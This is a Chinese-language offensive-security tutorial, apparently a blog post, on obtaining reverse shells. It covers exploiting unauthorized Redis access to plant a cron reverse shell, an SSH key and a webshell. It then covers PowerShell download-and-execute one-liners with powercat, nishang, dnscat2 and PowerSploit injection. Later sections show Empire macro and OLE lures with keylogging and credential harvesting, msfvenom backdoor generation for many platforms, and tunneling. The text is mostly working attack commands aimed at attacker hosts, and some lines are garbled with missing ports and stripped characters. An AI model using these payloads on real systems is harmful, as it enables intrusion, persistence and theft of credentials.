声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
0x01:Redis未授权访问反弹shell
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
1. 安装redis
代码语言:javascript复制wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar -xvzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
1.2 修改配置文件
代码语言:javascript复制vim redis.conf
bind 127.0.0.1前面加上#号 # bind 202.139.21.100
protected-mode设为no
启动redis-server ./src/redis-server redis-conf
默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件!!
1.3 攻击利用
代码语言:javascript复制#### 1.redis基本命令 连接redis:
redis-cli -h 192.168.63.130
查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.63.130:6379>info
将变量x的值设为test:
192.168.63.130:6379>set x "test"
获取设置的某个变量的值:
192.168.63.130:6379>get x
便可以看到之前设置的值
是把整个redis数据库删除,一般情况下不要用!!!
192.168.63.130:6379>flushall
查看所有键:
192.168.63.130:6379>KEYS *
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.63.130:6379>CONFIG GET dir
192.168.63.130:6379>CONFIG GET dbfilename
#### 2.攻击的几种方法 ##### (1).利用计划任务执行命令反弹shell 在redis以root权限运行时可以写crontab来执行命令反弹shell 先在自己的服务器上监听一个端口
nc -lvnp 7999
然后执行命令:
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set xx "n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
nc监听端口已经反弹回来shell
1.4 Redis的其他应用
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
1.4.1 写ssh-keygen公钥然后使用私钥登录
利用条件:
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
操作流程:
Step 1:首先在本地生成一对密钥:
代码语言:javascript复制root@kali:~/.ssh# ssh-keygen -t rsa
查看密钥:
然后在redis执行命令
代码语言:javascript复制192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x " AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G Vqbx/ zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx"
OK
192.168.63.130:6379> save
OK
之后直接使用公钥登录即可
1.4.2 往web物理路径(document root)写webshell
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。
代码语言:javascript复制192.168.63.130:6379> config set dir /var/www/html/
OK
192.168.63.130:6379> config set dbfilename shell.php
OK
192.168.63.130:6379> set x "<?php phpinfo();?>"
OK
192.168.63.130:6379> save
OK
即可将shell写入web目录(web目录根据实际情况)
访问之:
0x02:Powershell反弹shell
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。
一旦攻击者可以在一台计算机上运行代码,他们便可以下载powershell脚本文件(.ps1)到磁盘执行,脚本可以在内存中运行(无文件化)。我们可以将powershell看做是命令提示符cmd.exe的扩展。
各个系统中Powershell的版本如下:
操作系统 | PowerShell版本 | 是否可升级 |
---|---|---|
Window 7/Windows server 2008 | 2.0 | 可以升级3.0、4.0 |
Window 8/ Windows server 2012 | 3.0 | 可升级4.0 |
Window 8.1/ Windows server 2012 R2 | 4.0 | 升级5.0 5.1 |
可以在输入Get-Host或者$PSVersionTable.PSVERSION来查看版本信息,如下所示:
2.1 powercat反弹shell
powercat(https://github.com/besimorhino/powercat)为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat。
攻击者监听:
代码语言:javascript复制Nc –lvnp
目标机反弹CMD:
代码语言:javascript复制powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p -e cmd
或者在攻击者端执行下面的代码:
代码语言:javascript复制powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p
2.2 nishang反弹shell
Nishang(https://github.com/samratashok/nishang)是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。
Nishang要在PowerShell3.0以上的环境下才可以正常使用,在window 7或者server2008上可能会出现一些异常。
代码语言:javascript复制导入Nishang模块
Import-Module .nishang.psm1
导入成功后,产看Nishang中模块
Get-Command –Module nishang
Nishang攻击模块有(只介绍部分):
- Check-VM:检测目标机器是否为虚拟机
- Invoke-CredentialsPhish:欺骗目标主机用户,用作钓鱼
- Copy-VSS:利用Volume Shaodow Copy复制sam文件
- FireBuster FireLiStener:用作内网环境扫描
- Keylogger:用作键盘记录
- Invoke-Mimikatz:类似Mimikatz,直接获取系统账号明文密码
- Get-PassHashes:获取系统密码hash值
- ......
2.2.1 基于TCP的Powershell交互式shell
在目标机上执行如下的代码:
代码语言:javascript复制powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
代码语言:javascript复制其中,Invoke-PowerShellTcp是基于TCP协议的Powershell正向连接或者反向连接shell,其参数如下:
- IPAddress 反向连接时设置的IP
- Port 正向连接时设置的端口,前面要写上-Bind参数
- Reverse 反向连接
- Bind 正向连接
反向连接:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
注意:可将nishang下载到攻击者本地,执行如下的代码(此时推荐使用python搭建简易WEB服务):
代码语言:javascript复制powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.14/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1. 4 -port 6666
正向连接:Invoke-PowerShellTcp -Bind -Port 4444
2.2.2 基于UDP的Powershell交互式shell
代码语言:javascript复制powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399
在攻击者的电脑上执行如下的命令:
代码语言:javascript复制nc -lup
上述测试是反向连接,那么正向连接的时候,在攻击者的电脑上运行的命令为:
代码语言:javascript复制nc -nvu 192.168.1.24 4555
2.2.3 基于ICMP的Poershell交互式Shell
需要借助于icmpsh_m.py文件,其用法如下:
用法攻击机执行:
代码语言:javascript复制./icmpsh-m.py <source IP address> <destination IP address>
在被攻击的机器上执行:
代码语言:javascript复制Invoke-PowerShellIcmp -IPAddress <source IP address>
2.2.4 基于HTTP/HTTPS的Poershell交互式Shell
代码语言:javascript复制HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port
HTTPS: Invoke-PoshRatHttps –IPAddess 192.168.1.4 –Port 然后会生成一个powershell如下的命令····IEX ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’))
然后复制该命令在被攻击机器上执行即可,便可看到反弹的shell
2.3 dnscat2反弹DNS shell
dnscat2(https://github.com/iagox86/dnscat2)是一个DNS隧道,旨在通过DNS协议创建加密的命令和控制(C&C)通道。dnscat2分为两部分:客户端和服务端。dnscat2客户端采用C语言编写,服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)。
利用dnscat2和dnscat2-powershell实现反弹DNS shell:
Step 1 :在linux系统中安装dnscat2(需要ruby环境),然后开始监听:
代码语言:javascript复制ruby dnscat2.rb --dns "domain=pentest.com,host=192.168.1.32" --no-cache -e open
Step 2:在目标主机上执行如下的代码:
代码语言:javascript复制powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain pentest.com -DNSServer 192.168.1.32
Step 3:接着就可以看到反弹过来的shell,输入session -i 1进入第一个会话,输入shell,然后再次输入session -i 2,会看到系统的CMD命令行!!
2.4 Empire反弹shell
Empire(https://github.com/EmpireProject/Empire)基于powershell的后渗透攻击框架,可利用office宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell,它的功能有点类似MSF。
2.4.1 安装Empire
代码语言:javascript复制Git clone https://github.com/EmpireProject/Empire
启动Empire
- 设置监听器
- 选择渗透测试模块(设置参数àrun/execute)
- 产生payload
- 最后把payload在目标机上执行
- 反弹shell
2.4.2 利用office宏定义反弹shell
Step 1:我们首先查看一下Empire的帮助信息:help
接着输入listeners设置监听器,后面跟上7中模式
选用http,然后execute
注意:可以通过set Name shuteer来设置该监听器的名称,如果之前已经添加过监听器,后来添加的监听器要设置名字以及监听的端口set Name listener_name set Host IP:port
Step 2:back退出当前环境,然后生成payload,使用usestager moudle_name,multi为通用模块,osx是MAC系统的模块,其余均为Windows系统的模块。
输入usestager windows/macro shuteer(监听器的名字) #生成payload,execute
产看生成的payload
生成/tmp/macro 攻击代码后,新建一个word 创建宏,注意:需要开启宏或者用户手动启用宏。开启宏设置:“文件”-“选项”-“信任中心”,选择“启用所有宏”
然后产生的payload添加到测试文档的宏中。
Step 3:诱导用户去打开该测试文档,然后就可kali终端中有接收到的测试数据
进入反弹回来的会话中,使用interact命令连接主机,intetact DMEYHL1V(会话名字)
Shell whoami //查看当前用户
Shell net user //获取系统用户
sysinfo //获取系统信息
运行mimikatz //获取当前活动用户账号信息
获取当前进程的ID:getpid、getuid、pwd
输入creds可以自动过滤、整理出获取的用户密码(有密文和明文)
2.4.3 利用office OLE对象插入bat文件反弹shell
Step 1:要想设置launcher_bat木马,需要输入usestager windows/launcher_bat http(监听器的名称)
Step 2:将产生的bat文件直接复制到靶机上运行,就可以看到反弹的shell
获取系统运行的进程
为了增加迷惑性,可以将批处理文件插入到office文档中,现创建一个excel表格,在excel中“插入”-“对象”-“由文件创建” 处,插入launcher.bat文件,可更改文件名称和图标,进行伪装,当诱导目标点击该文件,执行后,即可成功反弹shell。
2.4.4 Empire产生VBS木马反弹shell
代码语言:javascript复制use stager windows/launcher_vbs
execute
在靶机上运行该VBS脚本即可
注意:如果要生成基于VBS的Powershell代码,设置完listener和userstager之后,不用输入execute,直接输入back,然后输入Launcher powershell shuteer(监听器的名字)
2.4.5 信息收集
输入usemodule collection ,然后按TAB键查询完整的列表
(1)截屏
代码语言:javascript复制(Empire: PDGNXFEK) > usemodule collection/screenshot
(Empire: powershell/collection/screenshot) > execute
(2)键盘记录
代码语言:javascript复制Empire: PDGNXFEK) > usemodule collection/keylogger
(Empire: powershell/collection/keylogger) > run
就会在agent.log的同级目录中生成keystrokes.txt,打开该文件便可以看到记录的数据!
关闭键盘记录:
代码语言:javascript复制Back
Jobs
Jobs kill JOB_name
(3)剪贴板记录
代码语言:javascript复制(Empire: PDGNXFEK) > usemodule collection/clipboard_monitor
(Empire: powershell/collection/clipboard_monitor) > execute
然后目标主机上复制一句话,停止方法如上所示。
(4)查看域共享文件
代码语言:javascript复制(Empire: PDGNXFEK) > usemodule situational_awareness/network/powerview/share_finder
(Empire: powershell/situational_awareness/network/powerview/share_finder) > execute
注意:当前环境没有域,后面讲完域渗透之后可以测试
(5)目标主机信息(域环境)
代码语言:javascript复制(Empire: PDGNXFEK) > usemodule situational_awareness/host/winenum
(Empire: powershell/situational_awareness/host/winenum) > run
或者使用如下模块:
代码语言:javascript复制(Empire: PDGNXFEK) > usemodule situational_awareness/host/computerdetails
(Empire: powershell/situational_awareness/host/computerdetails) > run
(6)ARP扫描
代码语言:javascript复制(Empire: PDGNXFEK) > usemodule situational_awareness/network/arpscan
(Empire: powershell/situational_awareness/network/arpscan) >
然后需要设置扫描的范围:
代码语言:javascript复制set Range 192.168.1.1-192.168.1.254
(7)DNS信息获取
代码语言:javascript复制(Empire: PDGNXFEK) > set range 1usemodule situational_awareness/network/reverse_dns
(Empire: powershell/situational_awareness/network/reverse_dns) > run
或者使用
(Empire: PDGNXFEK) > usemodule situational_awareness/host/dnsserver (Empire: powershell/situational_awareness/host/dnsserver) > run
(8)查找域控登录服务器IP
代码语言:javascript复制(Empire: PDGNXFEK) > usemodule situational_awareness/network/powerview/user_hunter
(Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute
(9)本地管理组访问模块
代码语言:javascript复制Empire:PDGNXFEK)>usemodulesituational_awareness/network/powerview/find_localadmin_access
(Empire: powershell/situational_awareness/network/powerview/find_localadmin_access) > run
(10)本地管理组访问模块
代码语言:javascript复制(Empire:PDGNXFEK)>usemodulesusemodulesituational_awareness/network/powerview/get_domain_controller
(Empire: powershell/situational_awareness/network/powerview/get_domain_controller) > run
2.5 PowerSploit
PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)等功能。
利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入,反弹shell
2.5.1 执行ShellCode反弹Meterpreter Shell
Step 1:下载PowerSploit到本地,使用python搭建简易服务器(python -m SimpleHTTPServer 9889),http://192.168.1.18:9889/CodeExecution/Invoke-Shellcode.ps1
Step 2:MSF中选择reverse_tcp模块进行反弹
然后使用msfvenom命令生成powershell脚本木马
代码语言:javascript复制msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport= -f powershell -o ./test在msfvenom中自动补全的方法:
1、安装zsh
2、~/.oh-my-zsh/custom/plugins/msfvenom/ 创建这样一个目录
3、编辑 ~/.zshrc 添加plugins=(msfvenom)
4、_msfvenom 复制到~/.oh-my-zsh/custom/plugins/msfvenom/ 目录中
5、Source ~/.zshrc
将生成的test文件复制到python搭建的web服务器中,于是有:http://192.168.1.18:9889/test
step 3:在目标机上执行powershell下载脚本
代码语言:javascript复制powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-Shellcode.ps1')
下载MSF产生的木马文件
代码语言:javascript复制IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/test')
最后运行木马文件:
Invoke-Shellcode -Shellcode ($buf) -Force
其中-shellcode()表示执行恶意代码的函数,$buf是test文件中恶意代码
最后就能在MSF看到反弹的shell
2.5.2 DLL注入反弹shell
使用模块的是Invoke-DllInjection.ps1,它是一个DLL注入的脚本,首先还是要下载脚本:
代码语言:javascript复制powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-DllInjection.ps1 ')
代码语言:javascript复制然后在kali中生成一个DLL注入脚本
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport=6667 -f dll -o ./pentest.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.129 lport=6667 -f dll -a x64 --platform windows -o ./test.dll
接着将生成好的DLL文件复制python服务器中,于是有:http://192.168.1.18:9889/pentest.dll,然后在目标机上下载该文件到C盘
在目标机上启动一个进程进行DLL注入,可以后续的注入更加隐蔽,使用如下的命令新建一个名为notepad.exe的隐蔽进程:
代码语言:javascript复制Start-Process c:windowssystem32notepad.exe -WindowStyle Hidden
然后执行下面的代码:
代码语言:javascript复制powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-DllInjection.ps1 ');Invoke-DllInjection -ProcessID 1124 -Dll c:pentest.dll
最后在MSF能看到反弹的shell。
0x03 MSF反弹shell
3.1 使用regsvr32_applocker_bypass_server反弹shell
利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell
代码语言:javascript复制use exploit/windows/misc/regsvr32_applocker_bypass_server</small>
set LHOST ip
set lport port
然后run,然后会生成一个改注册表的,复制下来在目标机的cmd运行一下,就会反弹一个shell回来。
在kali中可以看到反弹的shell
3.2 结合MSF和Powershell Getshell
MSF使用的模块是exploit/multi/script/web_delivery
执行run之后,会看到生成的powershell命令,复制出来,在目标机上执行
代码语言:javascript复制powershell.exe -nop -w hidden -c $h=new-object net.webclient;$h.proxy=[Net.WebRequest]::GetSystemWebProxy();$h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $h.downloadstring('http://192.168.1.28:8080/SpTrvxeyZrqgifq');
在MSF中就会看到反弹shell:
3.3. Metasploit之多种后门生成
代码语言:javascript复制()windows -->使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT= X >test.exe
()linux -->使用模块“linux/x86/meterpreter/shell_rverse_tcp”
命令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT= X >text
参考文章:http://xiao106347.blog.163.com/blog/static//
()java -->使用模块“java/meterpreter/reverse_tcp”
命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT= W >text.jar
()php -->使用模块“php/meterpreter/reverse_tcp”
命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT= -f raw >text.php
参考文章:http://www.111cn.net/phper/phpanqn/101228.htm
()jsp -->使用模块“java/jsp_shell_reverse_tcp”
命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.146 LPORT= R >text.jsp
参考文章:http://netsecurity.51cto.com/art//442648.htm
()asp -->使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT= -f asp > shell.asp
参考文章:http://www.ithao123.cn/content-10813776.html
()aspx -->使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -a x86 --platform win -p windows/meterpreter/reverse_tcp LHOST= 192.168.1.109 LPORT=7788 -f aspx x> /home/niexinming/back.aspx
参考文章:http://www.ithao123.cn/content-10813776.html
()android -->使用模块“android/meterpreter/reverse_tcp”
命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT= R >text.apk
参考“-Metasploit之渗透安卓实战”
1、 SSH端口转发
(1)SSH本地端口转发
(2)SSH远程转发
2、 EarthWorm端口转发
EW是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
代码语言:javascript复制正向 SOCKS v5 服务器
$ ./ew -s ssocksd -l
反弹 SOCKS v5 服务器
这个操作具体分两步:
a) 先在一台具有公网 ip 的主机A上运行以下命令:
$ ./ew -s rcsocks -l -e
b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 端口
$ ./ew -s rssocks -d 1.1.1.1 -e
成功。
其他工具可参考:https://mp.weixin.qq.com/s/LEhOCns-pLLwjDT9VwozfA##